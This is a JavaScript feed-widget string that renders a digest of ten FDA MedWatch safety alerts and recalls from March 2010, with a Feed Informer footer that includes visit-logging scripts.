var digesttext = "<!-- Header --><!-- Items --><b><a href=\"http://www.fda.gov/Safety/MedWatch/SafetyInformation/SafetyAlertsforHumanMedicalProducts/ucm205098.htm\">Becton, Dickinson (BD) Q-Syte Luer Access Split Septum Device: Class I Recall</a></b> (Mar 18, 2010 17:45) <br/><em>Defective devices may result in air bubbles leaking into the infusion system and into the patient’s ..</em><br /><br /><b><a href=\"http://www.fda.gov/Safety/MedWatch/SafetyInformation/SafetyAlertsforHumanMedicalProducts/ucm194585.htm\">Cleviprex (clevidipine butyrate): Recall</a></b> (Mar 17, 2010 04:00) <br/><em>The recall of 12/2009 has been expanded to include four additional lots. Presence of particulate mat..</em><br /><br /><b><a href=\"http://www.fda.gov/Safety/MedWatch/SafetyInformation/SafetyAlertsforHumanMedicalProducts/ucm204992.htm\">Gyrus ACMI Micron Bobbin Vent Tube T: Class I Recall</a></b> (Mar 17, 2010 04:00) <br/><em>Device implanted for ventilation or drainage of the middle ear - shipped without being sterilized.</em><br /><br /><b><a href=\"http://www.fda.gov/Safety/MedWatch/SafetyInformation/SafetyAlertsforHumanMedicalProducts/ucm204532.htm\">Teleflex Arrow IV Tubing Sets, Accessories, and Embolectomy Catheters: Recall</a></b> (Mar 16, 2010 12:50) <br/><em>Product sterility cannot be guaranteed. Testing revealed pin holes in some of the pouches in which t..</em><br /><br /><b><a href=\"http://www.fda.gov/Safety/MedWatch/SafetyInformation/SafetyAlertsforHumanMedicalProducts/ucm204256.htm\">Plavix (clopidogrel): Reduced effectiveness in patients who are poor metabolizers of the drug</a></b> (Mar 12, 2010 20:00) <br/><em>Boxed warning added regarding reduced effectiveness of Plavix in poor metabolizers.</em><br /><br /><b><a href=\"http://www.fda.gov/Safety/MedWatch/SafetyInformation/SafetyAlertsforHumanMedicalProducts/ucm204224.htm\">Counterfeit Polypropylene Surgical Mesh: Initial Communication</a></b> (Mar 12, 2010 18:00) <br/><em>Various sizes of counterfeit flat sheets of polypropylene surgical mesh are being marketed in the Un..</em><br /><br /><b><a href=\"http://www.fda.gov/Safety/MedWatch/SafetyInformation/SafetyAlertsforHumanMedicalProducts/ucm204177.htm\">Baylis Medical Torflex Transseptal Guiding Sheath: Class I Recall</a></b> (Mar 11, 2010 20:45) <br/><em>Sheath tip may break off and separate during heart procedures, causing a blockage that could lead to..</em><br /><br /><b><a href=\"http://www.fda.gov/Safety/MedWatch/SafetyInformation/SafetyAlertsforHumanMedicalProducts/ucm204127.htm\">Oral Bisphosphonates: Ongoing Safety Review of Atypical Subtrochanteric Femur Fractures</a></b> (Mar 11, 2010 16:15) <br/><em>FDA review of available data have not shown a clear connection between bisphosphonate use and a risk..</em><br /><br /><b><a href=\"http://www.fda.gov/Safety/MedWatch/SafetyInformation/SafetyAlertsforHumanMedicalProducts/ucm204106.htm\">Beckman Coulter UniCel DxC Synchron Clinical System – Ion Selective Electrode Flow Cell: Class I Recall</a></b> (Mar 11, 2010 14:15) <br/><em>Incorrect sodium results may be caused by build-up of protein, bacteria, and sample tube additives i..</em><br /><br /><b><a href=\"http://www.fda.gov/Safety/MedWatch/SafetyInformation/SafetyAlertsforHumanMedicalProducts/ucm203956.htm\">Abiomed AB5000 Circulatory Support System: Class I Recall</a></b> (Mar 10, 2010 21:20) <br/><em>Device computer may shut down without an alarm, which can lead to serious injuries or death.</em><br /><br /><!-- Footer --><div class=\"fdpoweredby\" style=\"text-align: right; font-size: 10px; font-family: sans-serif\"><a style=\"color: #888\" href=\"http://feed.informer.com\">Powered by Feed Informer</a></div><script type=\"text/javascript\">/* <![CDATA[ */document.write(\"<img src=\'http://hits.informer.com/log.php?id=44&amp;r=\"+ Math.round(100000 * Math.random()) + \"\' />\");/* ]]> */</script><script type=\"text/javascript\" src=\"http://208.88.226.83/log_e.php?id=NZSYTFQNRD&amp;r=0.480834415411998\"></script>";
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